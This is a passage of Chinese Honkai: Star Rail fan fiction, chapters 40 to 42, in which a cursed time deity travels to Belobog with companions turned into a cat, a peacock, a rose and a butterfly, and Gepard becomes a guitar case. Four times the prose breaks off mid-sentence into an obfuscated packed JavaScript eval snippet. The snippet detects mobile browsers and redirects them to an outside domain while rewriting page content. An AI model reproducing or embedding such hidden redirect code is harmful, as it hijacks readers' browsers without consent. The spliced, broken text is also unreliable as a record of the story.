桑博听了这个问题,双手环胸,不怀好意道:“伙计,这得问你了啊。要不是你看见好看的男的就走不动道了,乐子神也不会派我来啊。这种唯恐天下不乱的找乐子风格,分明花火更为擅长。但是没有办法,谁让你好色呢。” 呃。 这些话是不是有点儿太误解你了。 虽然你周围美男成群,但是真的一个都没有碰欸。他们都有自己的人生,你能搅乱一会儿就已经心满意足了,可不想叨扰他们一辈子。 你摸了摸鼻子:“既然知道我好色,难道你不怕失身吗?还敢大摇大摆地在我面前晃悠,真当我是面团捏的呢。” “这个嘛,如果你有心思,我当然也不会拒绝的。这也是乐子的一种呐。但我感觉,伙计——”桑博有些郑重其事道:“你只会拿我寻开心。” 被戳中了心事,你不由得移开了视线。 倾心一个人很麻烦的,为了一棵树就放弃一整片大森林,实在是有些不符合你时间星神的身份。 倘若有一日你被一个人牵绊住了脚步,岂不是整个银河的时间都要遭殃了。 小小年纪就有如此觉悟,不错不错。 “喂,伙计,赶紧回正题了。”桑博道:“想要去翁法罗斯,必须有面盾牌。以前你是个垃圾桶的身躯倒也罢了,没盾就没盾,但是现在你可是人类之躯,肉体凡胎。即使你的力气大无穷,攻击属性拉满,但是防御属性没点满呐。” “但是因此就霍霍另外一个人的行为也太……” 桑博拍了拍你的肩膀:“伙计,以大局为重。如果想要拯救这些人物,必须得有人做出点儿牺牲,大不了你以后再想办法让他们恢复人身。” 好吧。 看来这趟贝洛伯格之行是非去不可了。 但是你有个问题。 跟着你去贝洛伯格的家伙有没有机会恢复人形之躯。 “这个嘛,得看伙计你的意志力了。如果你没有登上神位就能有星神级别的意志力,无论如何也动摇不了。星神之所以能成为星神,就是因为他们在一条道路上走到了极致。如果你也有这个走到极致的实力的话,可能他们就会恢复人身。” 你深深吸了一口气。 不管如何,这次去贝洛伯格指定会有一个人恢复人形的了,毕竟你得去霍霍桑博口中这个带盾的人。 如果说在剩下的十三个人里有什么你特别想恢复人形的人,那就是景元了。 仙舟的将军欸,帝弓七天将之一。冗务缠身,日理万机。那可是一天都耽误不得,自然是早脱身早好。 于是,这次贝洛伯格之旅你只带了景元一只猫。临行之际,砂金这只花孔雀却拦住了你:“等等朋友,也把我带上吧。” “你去做什么?” “贝洛伯格还欠着星际和平公司的欠款……” 砂金的话还没说完,你就明白了他的意思:“你是想去收回贝洛伯格的债务,不良资产清算专家?” “朋友……”砂金迈着高傲的步伐走到你面前,虽然身型没有高太多,但你却莫名有种被俯视的错觉,“你难道喜欢工作吗?” “当然……不喜欢。”你说出了内心深处的想法。 “我与你的看法相同。” “既然如此,你为何要去贝洛伯格不可呢?”景元趴在你的头顶上,懒洋洋地开口。 这家伙整天像是睡不醒似的,每天不是睡觉就是在睡觉的路上。看来仙舟的将军不好当呐,看给景元元都累成什么样子了。 看到他这副睡眼惺忪半睡不醒的模样,你都有些不忍让他恢复人形了——因为回去了罗浮就会有数不完的文牍等着他。而待在你身边,反而能有大把大把的时间去睡觉。如果可以的话,你其实不介意养景元元这只猫猫一辈子。但是估计景元不会这么想,他是十分十分有责任感滴。 可能是你看景元的目光都要冒出小心心了,砂金着急得都快要开屏了。但毕竟还是公司总监,该有的修养气度还是存在滴。 “我去贝洛伯格只是有些去考察一下,看看有没有设置基地的可能。” “那不还是……” “顺便度个假。” 呃。 这个倒也是人之常情。 也罢,就带着景元和砂金吧。 如此就这么愉快决定了。 你们三人正要离开,不料又被银枝这朵玫瑰拦住了去路。 “我的挚友,请允许我与你们同行。” “啊?”你抓了抓头发:“为什么?” 自从来了垃圾星,银枝一直都是不显山不露水的,没想到这次竟然要求主动同行。不过鉴于他本来就是个银河街溜子,这么要求好像也不过分。也罢,也带上他吧。 你们四人正要一同离开,不料却又被螺丝咕姆这只翠绿色的蝴蝶挡住了去路。 “假若主神定要前往,请允许我同行。” 呃。 面对螺丝咕姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431911|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你始终挥散不去在螺丝星上的阴影。那个螺丝君王和如今的螺丝咕姆有几分相似,或许是他的后代也说不准。如此说来,他体内的那颗心应该也是你捏造的了。虽然不知道螺丝君王的继承会不会将心也一同传承下去,但是你却就这么以为了。 真是有些想当然了。 你想不出拒绝螺丝咕姆的理由,但也想不出这么一个走在智识命途的智械又为何要去贝洛伯格? 智识? 看来螺丝星上的人类已经不复存在了,否则应该是同谐的命途才是。而如此一来,他想去贝洛伯格也有处可寻,无非就是踏遍诸多世界,以强援弱。但智识命途…… 原谅你脑容量有限,实在想不出有贝洛伯格有什么东西能让走在智识命途的螺丝咕姆走一趟的。 “你去干什么?” “主神……” “且慢。”你有些头疼:“这个称呼能不能改了,叫我无名就行。” “无名,无名。”螺丝咕姆显然还有些不能适应,但看上去比之前你碰到过的那个螺丝君王要脑筋清楚多了,也没有那么死板。 “无名,我想陪伴在你身边。逻辑,保护你的安全。概率:冰雪覆盖的世界有一定的危险。结论:我需要与你同行。” 一堆的什么逻辑什么概率什么结论绕得你头晕,反正这个家伙也想去就是了。 你也就将他带上了。 你和景元还有砂金以及银枝与螺丝咕姆浩浩荡荡向贝洛伯格进发,为的是寻找一个盾。 景元趴在你的脑袋上,银枝别在你的发丝间,螺丝咕姆停留在你的鼻尖,砂金花枝招展地在你身后开屏。 呃。 不得不说,这幅画面其实也挺像个立绘的。 你们并没有借助任何在银河宇宙间可以飞行的工具,因为你本身其实就能自由在银河间穿梭,不需要任何工具辅助。而其他人只需要碰触到你的身体,便可与你的身体融为一体,自由穿梭。 刚才还说他们是组成你立绘的元素,现在你就成了他们的旅行工具了。 好吧,其实也不是很冤枉。 景元依旧趴在你的脑袋上睡得呼呼的。银枝和螺丝咕姆这两个优雅的家伙一个赛一个地话多。而砂金也不是什么沉默寡言之人,但现在竟然能安静地看着他们你来我往。 你禁不住问砂金:“你怎么不和他们去说话?” “又不是要做生意,朋友。” 你一想,还的确是这个道理。银枝是个纯美骑士,看上去就不是会做生意的那块料。而螺丝咕姆估计只会一心沉浸在他的研究实验上,是个学术分子,自然也不会沾染生意。 “但你现在不是在度假吗?”你向砂金建议道:“其实可以不是以谈生意为目的而展开谈话。” “虚张声势已经成为我的本色了,比如——”砂金唇角微勾,声音带了些许魅惑:“朋友,和我一起度个假,如何?” 尾音微微上挑,再配合上花孔雀含情脉脉的眼神。 是个人都会把持不住吧。 40.贝洛伯格 在贝洛伯格降落的刹那,你就有些后悔了。白雪茫茫的一片,到哪里去找这个盾。寒风呼啸而过,雪花片片落下。愣神的刹那,你就差点儿被风雪埋在下面。 景元和砂金已经在雪地上画起了画。一朵朵梅花在景元的身后生成,而砂金的脚下则是一根根竹枝的形状。唯有螺丝咕姆这只蝴蝶和银枝这朵玫瑰花不能在雪地上留下任何痕迹。 螺丝咕姆停留在雪地上片刻,绿色晶莹的翅膀挥舞着,绿色的荧光纷纷散落。你们呆呆地看着他的动静,只见白雪点点消融,露出下面的累累白骨。 好家伙。 你只来得及发出这三个字,没过多久白骨就重新被皑皑白雪覆盖。 “天呐,这里的人不会都死光了吧。” 砂金道:“没道理啊,托帕还来过这里收债呢,虽然最后没收回去就是了。” 景元道:“或许因为无名身负的力量,这里的时间流速发生了变化。” 螺丝咕姆道:“不无可能。” 银枝道:“美丽的生灵,可以再表演一下那个吗?” 你有些无奈:“哪个?” “时间的力量。” “呃……”你摊了摊手,无奈道:“你觉得现在我这个样子,能施展得出来吗?我要是能施展得出来,还会让你们四个维持现在的模样吗?” “……”银枝叹了一口气,“挚友,请原谅我的鲁莽。” “可可利亚,看我发现什么了。” 就在你们说话的时候,一个很酷的抱着吉他的大姐姐出现在了冰天雪地里。细细的银链子在稀薄的阳光下闪着光芒,她道:“你们是谁啊,这鬼地方好久没出现生面孔了,不会是从外面来的吧。” 不等你回答,一个金色头发的冷酷女人便出现在视野中,义正词严道:“希露瓦,你应该对外人保持有正常的警惕心。” “呃……这个……我觉得我们还是有必要解释一下。”你弯下腰将景元抱在怀里,“我们是从外面来的没错,但是我们没有恶意,来到这里,只是为了寻找一个人。” “找谁?” 你观察了一阵子,发现这两个很酷很酷的大姐姐都没有变成什么猫猫狗狗之类的,你才放了心:“是这样的,我们是来找一个拥有极强防御力的人。简而言之,也就是有盾之人。” “有盾之人?”希露瓦显然对这个说法有些迷茫,“喂,可可利亚,你知道这是什么意思吗?” “外来者说的话,你指望能理解他们的意思?” “也是啊。”希露瓦疑惑道:“你们到底在说什么啊。” 你决定换个说法:“你们有认识谁比较耐造吗?” “耐造?”希露瓦笑了:“哈哈哈哈哈哈你说的是抗揍吧。放眼整个贝洛伯格,还没有比我弟弟更能抗揍的。” 呃。 这个…… 真的不是您对您弟弟的滤镜过重吗。 希露瓦还在洋洋得意:“说起我这个弟弟啊,皮糙肉厚的,我们俩从小打架,一直打到现在。俗话说,打弟弟要趁早。要不等到弟弟长大了,再打就打不过了。” “杰帕德以后长大了,是要成为银鬃铁卫的戍卫官的。”可可利亚的脸色依旧冷冷的:“希露瓦,你再打他就按照袭击官方人员逮捕起来。” “嘿,可可利亚,你什么时候这么向着我弟弟了。” “人才不可多得。” “我也是你的人才呐。”希露瓦抱着吉他微抬下巴:“要不你为什么送我这把吉他呢,还非要刻上我们两个人的名字。” 这两个大姐姐你一言我一语吵着。景元从你的肩膀爬到了你的头上,懒懒地打了个哈欠:“以我之拙见,不若从希露瓦处着手。” “我也是这么想的。”砂金这只花孔雀看了眼正在吵架的两个人道:“希露瓦的弟弟应该就是我们要找的那个人。” “如此美妙的结论阁下从何得知?”这句话是银枝说的。 你想起了桑博的话,虽然会暴露你的xp,但还是解释道:“因为希露瓦的弟弟是个男的。” 银枝道:“原是如此。” 螺丝咕姆道:“看来无名姑娘的诅咒只对男性起作用。” 你摸了摸鼻子:“是这样的,没错。” 砂金道:“看来你又要去霍霍另一位小伙伴了。” 这个,你也没有办法。 希望桑博说的法子能管用。 “你们在聊些什么,可以让姐姐我听听吗?”希露瓦已经停止了和可可利亚的争吵,后者依旧是一脸冷漠。 “我们想见见你的弟弟。” “可以啊,我弟弟虽然怕见生人,还喜欢脸红。但是脸皮厚也得是锻炼出来的嘛,对吧。” “……” 你压低声音对景元道:“这是亲姐。” 景元在你的脸上轻轻拍了一巴掌,“希露瓦已经走远了。” ! 你赶紧跟上去,见砂金还在原地愣神,你又跑回去一把抱起砂金跟上了希露瓦。 银枝别在你的头发里,螺丝咕姆停留在你的鼻子上,景元趴在你的头上。也就砂金这只花孔雀需要你操心,走到哪儿都得抱着。 希露瓦问道:“你们找我弟弟干什么。” “有件事要他帮忙。” 可可利亚皱眉,警惕心瞬间起来了:“什么事情?” “让我头顶上的这只猫恢复原形。” “原形?”希露瓦把你头顶上的景元抱了过去,左看看右看看,“没看出这只猫有什么奇特的,它还有原形?” “在下景元。” 景元的突然开口把希露瓦吓了一跳,脚下打滑差点儿没摔倒。好在可可利亚手疾眼快,扶了她一把。 景元稳稳落在雪地上,甩了甩爪子上的雪,顺着你的裤脚蹭蹭爬上了你的肩膀。 你摸了摸景元的白毛,解释道:“他是我的朋友,因为某种诅咒变成了猫。” “女巫?”希露瓦迅速联想到了这个词儿,笑了起来:“哈哈哈看来童话书里的东西也不是空穴来风呐。” 景元看了你一眼。 砂金看了你一眼。 银枝看了你一眼。 螺丝咕姆看了你一眼。 你在他们的眼神中读出了两个字。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436687|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女巫。 你欲哭无泪。 你真的不是女巫。 你极力辩解:“你看,我没有尖尖的帽子,也没有能骑着跑的扫把。我是一个再普通不过的人了。” “你的意思是——”希露瓦明白了:“你就是让他们变成现在这副模样的人?” “不。”你急忙撇清自己:“是星神的力量。” “星神?”可可利亚终于再度开口。 “克里珀?”希露瓦想了想:“我们贝洛伯格就是以存护之名建立的。” “克里珀虽然是最古老的星神之一,但是还要比他古早。” “比克里珀还要古老的星神?会是谁呢?”希露瓦想不出来,捅了捅可可利亚的胳膊:“你觉得呢?” “野史记载,曾经有位时间星神,但已经陨落了。” 你禁不住肃然起敬。 可可利亚是个人物,竟然连这等野史都能翻出来。 但是没有一会儿,你就接连收到了其余四个人的眼神扫射。你聪明,再次读懂了他们没有说出口的话。 野史记载。 你捶胸顿足。 如果不是阿哈非要找乐子,你现在指不定躺在哪里快活呢。哪里轮得到这步田地,躺又躺不平,卷又不想卷。 都是阿哈害的。 “你的意思是时间星神诅咒了他们,使他们恢复了原形?” 希露瓦的脑回路果然非同一般。 虽然你之前也是这么想的,时间无法更改一个人的本质,只会显现他曾经某段时间的样貌。但是现在有了阿哈的介入,什么事情都说不准。 “这个……我也说不准。” “你们为什么肯定我弟弟能救你们呢?”希露瓦又问了一句:“万一他救不了你们,你们岂不是白来这里一趟了。” “也不算白来,看看雪景也挺好的。” “你们是怎么知道到这里能找到我弟弟的?” “你知道桑博吗?” “奥他啊。”希露瓦道:“他现在还活着吗,我们都以为他早死了呢。” “发生了什么吗?” “是这样的。”希露瓦道:“我们这里曾经发生过星核灾变,后来事情解决了。但是又发生了雪崩,险些将贝洛伯格淹了。这个时候,那个下层区的老桑博出现了,还戴了一张丑不拉几的面具,以一己之力扭转了事情的形势,保住了贝洛伯格。但是他却在大雪里没了踪迹。我们都以为他死了,但是没找到他的尸体也不能确定。已经好几年没有他的消息了,没想到今天能听到。” “他……是你们的英雄?” “说起来我们银鬃铁卫还通缉过他。” “啊?哈哈哈哈。” 你禁不住哈哈大笑起来,感觉桑博的人生经历好笑但又有点儿辛酸。说起来他为什么不回来呢,明明心里那么想念贝洛伯格。这个家伙,就算回来知道自己会偷偷掉眼泪,你也是可以装作看不见的嘛。或者你们集体背过身去,让老桑博哭个够就好了。 “既然你们是桑博的朋友,那么我们贝洛伯格就以礼相待了。杰帕德老弟,别躲躲藏藏了,出来吧。” 41.贝洛伯格 what?! 当杰帕德从雪堆后面走出来的时候你还有点儿不敢置信,当然他躲躲躲藏藏倒不是那么令人难以接受,毕竟你们可是在别人的地盘上,又是从天外来的,怎么被怀疑也不过分,但是神奇的是,他在后面跟踪了那么久,居然没有变成什么猫猫狗狗之类的。 难道你身上的诅咒消失了? 别做梦了,包不可能的。 无论是趴在脑袋上的景元还是抱在怀里的砂金,亦或是停留在鼻尖和别在头发上的银枝,都在清晰地提醒着你。 这是一件不可能发生的事情。 但这到底是怎么一回事呢。 你百思不得其解。 难道桑博的故乡有什么特别之处。 你叹了口气。 早知道就把桑博那个家伙带来了,有什么问题还能问问他。现在是一点儿办法都没有,杰帕德又没有变成…… 诶诶诶? 就在你唉声叹气的时候,杰帕德以肉眼可见的速度开始缓慢变化。你有些不敢置信,揉了揉眼睛的功夫,他已经变成了一把巨为沉重的吉他箱子。 好家伙。 用波提欧的话说,真他宝贝的及时。 你本来还想着杰帕德都没有变成猫猫狗狗之类的,不好以帮忙的名头将人拐带走——这是要欠下人情的。结果现在他就成了吉他箱子,要想恢复人身,就只能跟着你走了——这是他欠你人情的。 嘿嘿嘿。 你正在得意,蓦然间意识到有些许不对劲儿。 为何希露瓦和可可利亚看向你的目光常含悔恨的泪水。 希露瓦大概是恨,可可利亚大概是悔。 为了挽回两位大姐姐的好感,你立马开始唾弃自己。 呸呸呸。 你说什么呢。 怎么能抱有如此邪恶的念头。 善哉,善哉。 你竖起右手,中指抵在下巴处。 阿弥陀佛。 景元似笑非笑地看着你,轻轻挑眉:“丹轮寺?” 砂金道:“略有耳闻,佛曰普度众生,但朋友你是无差别霍霍。” 银枝也来了兴趣:“普度众生,纯美永在。” 螺丝咕姆:“凡出家者,皆要剃度。” 眼见螺丝咕姆这只小蝴蝶就要像孙猴子似的把你的头发剃光,你急忙以迅雷不及掩耳之势的速度躲到了杰帕德这个吉他箱子身后。 希露瓦和可可利亚的目光已经探了过来,而且满是敌意。完蛋,这下不仅可可利亚不信任你了,连带着希露瓦也对你充满了怀疑。 以上仅为你的视角。 “听我解释!” 在希露瓦的电流冲过来之际,你一屁股把杰帕德坐在了下面。为了防止螺丝咕姆偷袭你的头发,你又捉过来景元放在头上。 螺丝咕姆果然不动了。 正当你想法子如何应对希露瓦时,不想后者已经抱着吉他弹奏了起来。可可利亚红了眼睛,一柄长枪就要捅穿你的咽喉。 你错了,看来希露瓦是悔,可可利亚是恨。 吾命休矣! 是反击保全性命还是赌一把你死后诅咒会不会消失? 你怎么变得和砂金一样了? 这个,你也没有办法。 俗话说得好哇,近朱者赤,近墨者黑。 砂金是朱还是墨? 砂金是小孔雀。 哦。 你面无表情+心如死灰地想。 你果真是个心大的,生死关头,你居然还在想这种事情。 回去高低得让桑博给你颁个视死如归的奖项。 枪尖就要捅下来。 你蓦然间又想起另外一件事。 景元他们现在这个样子究竟有没有自保的能力?万一你死了之后,他们也受你的连累被希露瓦和可可利亚解决了怎么办。 不行,还是保命要紧。 你其实还是想给你的垂死挣扎找个借口吧。 闭嘴。 就在你要出手之际,不想希露瓦的电吉他却迎上了可可利亚的长枪。 这下不仅是你惊呆了,连带着可可利亚也震惊了。 “希露瓦,你吃错药了?” “可可利亚,脾气别这么暴躁嘛,你不觉得现在小杰杰也很可爱吗。” 莫名听出了一点儿相见恨晚的感觉怎么回事。 屁股下面的杰帕德发出一道无奈的声音:“姐……” 希露瓦是悔没错,但似乎是后悔没有早点见到你把杰帕德变成现在这副模样。 你心底对希露瓦佩服得五体投地。 不愧是亲姐。 听到希露瓦对杰帕德的称呼,你心里邪念丛生,“小杰杰——” “你……” 杰帕德似乎是没料到你这么个看上去乖巧懂事的家伙居然也学希露瓦那套,原本蓝白相间的吉他箱子居然出现了一丝红色,而且还有扩散的趋势。他有些不自在道:“你……别这样……” 别这样? 这样是哪样? 你明明知道却选择装傻,还偏要拿这个问题去问杰帕德。 人家姐姐为了你这条小命正在前方和可可利亚厮杀,你却在后方调戏人家的亲弟弟。 而且还恬不知耻。 而且还调戏得很成功。 你可真是个人才。 银枝在旁添油加醋:“这位戍卫官的颜色比之番茄是有过之儿无不及。” 螺丝咕姆:“结论:他红得快要滴出血来了。” 哦。 天呐。 这两位说话如此优美的家伙,在来贝洛伯格的路上居然产生了奇妙的化学反应,一个比一个能气死人,而且还是不偿命的那种。 砂金倒是没有参与其中,但也没有替杰帕德解围的意思。最后还是景元好心,差点儿没把你的脸挠出花儿来,才让你的恶劣调戏行为停止。 而那边希露瓦和可可利亚也已经打完了。这漫长的时间,你有合理的理由怀疑——这俩本就是损友的那种,打起来这种事情估计是家常便饭,与你毫无干系。 砂金有些佩服你:“朋友,你居然就这么把自己水灵灵地摘出来了。” 水灵灵是什么鬼。 我还嚯卡卡呢。 火与水相对,灵灵与卡卡相对,令人忍俊不禁。 闭嘴。 这奇怪的声音居然就这么从你脑袋里水灵灵地钻出来了。 真令人费解。 鉴于阿哈接二连三的骚操作,你已经有点儿PTSD了。立马联想到会不会有个什么东西从天上砸下来,而且还正好砸到你脑门上的那种。 “醒醒朋友,现在还不是晚上的时候。” 哦。 也是,连这种不算是好事的好事都不能发生在你的头上。 你的情绪好像很低落。 能不低落吗,你都已经神神叨叨拖延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449028|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间到这种地步了,为什么景元还是一只猫的形状。而且似乎他的嗜睡症更严重了,趴在你的脑袋上几乎都不想说话了。 贝洛伯格果然很古怪。 不愧是桑博死乞白赖要你来的地方。 你倏然间好累啊。 已经千辛万苦来到了贝洛伯格,心心念念地就是想让景元恢复人形,早点儿回到罗浮主持大局。但是没想到,杰帕德都已经变成吉他箱子了,景元还是白猫的形状。 竹篮打水一场空。 什么叫做哀莫大于心死,你今天算是体会到了。 你直接往后一倒,整个人全都陷进了雪里。白雪淹没你的口鼻,遮挡你的视线。 无法呼吸了。 但是你不在乎。 或许你死了,他们身上的诅咒就能消失了。 “挚友,尚且还不到放弃的时候。” “逻辑:天无绝人之路。” 没想到陷进雪里了,还能听到银枝和螺丝咕姆的声音。 你的感知力果然不是一般地强。 而且还难杀。 已经被白雪填满口鼻这么长时间了,你居然还活着。 “可惜还活着。” 你的脑海里莫名冒出刃的这句话。 此时此刻,你才终于明白刃的感受。 得,只能起来继续干了。 你一下子起了身,白雪从你的身上滑落。 希露瓦正在用吉他艰难地刨你,景元他们都急坏了。见到你出来,一个个地都往你身上涌。你摸摸这个,又抱抱那个,心底里跟老母鸡一样无奈透顶。 难道你生来就是这样的命数? 以前是养活垃圾桶,现在还得照看这些小东西,偏偏每一个拿出去身份都是重量级别的,让你管又管不了,放又放不下。 还不如垃圾桶呢。 什么时候再来个桑博级别的人物,你出去溜达一圈儿,回来就有人替你安排了垃圾桶的后半生。 难道需要你再建立个类似垃圾桶侦探社的东西? 这个想法似乎比较合理。 景元一猫爪拍醒了你。 痛! 你摸着自己的脸,有些怀疑人生。 这些小东西变得不是人了之后,性格似乎也软化了很多,看得你真的是爱心泛滥。 什么爱心泛滥。 请不要美化你的色心心。 还有,给了你一巴掌,还爱心泛滥。 你怕不是个抖m。 ! 你知道得有点儿太多了。 有点儿想杀自己灭口怎么办。 你病得不轻。 你承认了你的确对他们心怀不轨,但就像前面说的,每个人的身份都是重量级的,只可观赏而不可亵玩焉。 你是怕玩脱了然后不想负责吧。 闭嘴。 想杀自己灭口的理由+1。 “你没事就好了。”希露瓦松了一口气,“你要是出了事儿,我弟弟就完蛋了。变不回来,又要掉小珍珠了。” 杰帕德十分无奈:“姐……” “呦,小杰杰害羞了呢。” “……” 杰帕德已经不想再说话了。 可可利亚看不下去了:“哪儿你这样当姐姐的。” “怎么没有。”希露瓦双手叉腰:“我不就是嘛。” 可可利亚难得给希露瓦竖了个大拇指:“开天辟地独一份儿。” 42.贝洛伯格 事情的最后,希露瓦在哥德大饭店给你们安排了一间上好的房间。 至于为什么是一间呢。 当然是景元还有砂金以及银枝和螺丝咕姆强烈要求的结果。不过这倒不是最让人惊讶的,最让你百思不得其解的是杰帕德这个贝洛伯格本地人竟然不回家,也要跟着你住酒店。 说实话,你和杰帕德才刚刚认识,感觉关系还不如和希露瓦的交情深呢。这孩子被你调戏的时候,连吉他盒子这么厚重的颜色都能被染上红色。还以为是个纯情的青年,没想到啊没想到,他只是言语保守,行为却是极为大胆。 不过你倒是无所谓,无非是多个小家伙捣乱罢了。你都已经习惯得不要不要的了。 有这份心态,你做什么都会成功的。 哦耶! 你很快就把自己哄好了。 现在有了杰帕德的加入,你不得不把他背在背上。歌德大概率是没见过像你这样出门带着这么多宠物的人,为了看清楚你平常是如何和他们相处的,连带着弯着的腰都正直了不少。 正直这个词是这么用的吗。 要不还能怎么用。 你背着杰帕德,抱着砂金,顶着景元,插着银枝,别着螺丝咕姆。 至于螺丝咕姆怎么成别着的了呢。 因为这家伙已经不甘心停留在你的鼻尖了,且不说你老打喷嚏,就是这个距离也不方便和银枝互吐芬芳。于是,他就飞到了你的头上,装作一枚蝴蝶发卡别在头发里,与银枝面对面互夸。 “我已到达与你视线平齐的位置。逻辑:无名姑娘的头发需要更多的装饰品。” “阁下的到来,让挚友的头发蓬荜生辉。” 好家伙,银枝这枝苍翠欲滴的玫瑰直接把你的头发当成陋室了。 这个念头刚一冒出来,头顶的景元就懒洋洋道:“斯是陋室,惟吾德馨。” 好↗↘嘛↘ 要数谁的位置最高,景元当之无愧。这个罗浮将军简直没有一点儿将军的架子,整日不是睡就是往你脸上招呼巴掌。不过看在爪子毛茸茸肉垫还软乎乎的份儿上,你倒也没那么在意。只是看这家伙明显不着急变不变回原形的事情,你就有种皇帝不急急死太监的感觉。 宝宝心里苦,但是宝宝也得说。 你一个活了不知道多久的老东西,还说自己是宝宝呐。 宝宝也有很多种的,有年纪大的,有年纪小的。 不可歧视老宝宝。 行吧行吧。 你心里想着事情的时候,手就会不自觉地想要摸点儿什么东西。 正在手边的砂金小孔雀就成了不二人选。 喂,刚才就想问你了。 一只手背,一只手抱还能说得过去。 摸要怎么摸。 谁跟你说是一只手抱一只手背的。 那还能有什么方式是又抱又背的。 呃。 你可能不知道,希露瓦重新给杰帕德安装上了背带扣,然后挂在了你的身上。 原来如此。 杰帕德本来是不愿意的,这跟穿着开裆裤有什么区别。不过希露瓦这款姐姐是专治杰帕德这款动不动就脸红的纯情弟弟的。 一句“小杰杰,你又害羞了么”就让杰帕德瞬间没了脾气,只能小声嘟囔一句:“……我才没有。” 得。 这句话一出,你就知道希露瓦的隐形开裆裤计划已经成功了一半。至于另一半吗,当然是在你这个见谁谁不是人的女巫手里了。 喂,你不是女巫。 你不是女巫。 你不是女巫。 重要的事情说三遍。 好吧好吧。 希露瓦走后,杰帕德立即就要将背带扣解下。岂料还有你这个得了希露瓦真传的人在,你学起了希露瓦的语气,“小杰杰看起来是真的害羞了。” “我……才没有……”杰帕德支支吾吾,蓝白色相间的吉他箱子瞬间爆红。 银枝立马评价道:“阁下的面庞如天际烧红的云彩。” 螺丝咕姆:“结论:熟透了。” 哈哈哈哈。 不好意思,笑得太大声了。 事情的最后,杰帕德还是没有解下。你也就顺利地将他背在了背上,然后就可以两只手抱着砂金这只小孔雀了。 说起来砂金这只小孔雀,自从来了贝洛伯格话就明显变少了。虽然说什么不是在做生意,但是一些必要的交流还是得有的吧。而且感觉他是那种闲不住嘴巴的人,这么沉默还真是少见。 所以你决定关心一下。 把几个小家伙送回房间后,你又抱着砂金小孔雀去了浴室。 “朋友,”砂金终于开了口,语气有些轻佻:“你该不会是趁机要占我便宜吧。” “你有什么便宜能占。”你有些无奈道:“做个人吧。” ? 你从砂金的眼睛里读出了一句话,“这有什么不做人的?” 你理直气壮地回答:“做个人,我还能占你点儿便宜。” 原来这句话还能这么理解。 当然。 你再次理直气壮。 你把砂金按在浴缸里,拿着花洒往他的身上浇。五彩斑斓的羽毛很快就湿透了,砂金却没有任何尴尬,反而笑得更为放肆了。 “哈哈哈哈哈哈哈哈哈!” 你都担心他会不会把牙笑出来。 本着关心伙伴的原则,你还是掰开他的嘴,仔细检查了一下。 你注意到砂金的眸子有些深沉,不由得伸手在他的面前晃了晃。 砂金在你的手心里啄了一下。 什么情况? 以前在垃圾星的时候,这个家伙就喜欢啄你。你当是还以为他是为了和星期日比拼谁的鸟嘴更坚硬,但是现在又没有星期日,他这莫其名妙的胜负欲从何而来啊。 就在你思考的功夫,砂金已经将你裸露在外的皮肤啄了个遍。 痛。 你直接伸手握住了砂金的鸟嘴。 此处应该有表情包。 砂金开始扑闪翅膀。 浴缸里的水尽数洒到了你的身上。 这个家伙! 外面的景元听到了动静,猫爪子在浴室的玻璃门上拍了两下。 既然要追求刺激,那就贯彻到底了。 你直接把景元也抱了起来,然后一起洗澡。 真有你的。 浴室内水汽弥漫,模糊了一猫一鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461145|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人。 当你擦着头发从里面出来时,景元和砂金都成了落汤鸡。相较于你的精神饱满,他们则显得有些失魂落魄。 你把自己擦干净后,又开始给景元和砂金擦毛。为了避免顾此失彼,你把两个小家伙包裹在一块硕大的白色毛巾里,一起擦拭。 景元的面积比较小,擦干净的时间也就比较短。一身白色的毛发干净顺滑,毫无杂色。他跳到了床上,把自己团成一团躺在枕头上睡着了。 砂金被你擦拭着,眼睛一瞬不瞬地盯着你。你在他的脑袋下轻轻地拍了一下,“看我干什么,我脸上有东西?” “朋友,你不对劲儿。” “有什么不对劲儿?” “你的脸蛋很红。” 红吗? 明明你们在浴室里也没干什么。 这是干了什么没干什么的问题吗! 你摸了摸自己的脸。 不烧。 你点了下砂金的鸟嘴。 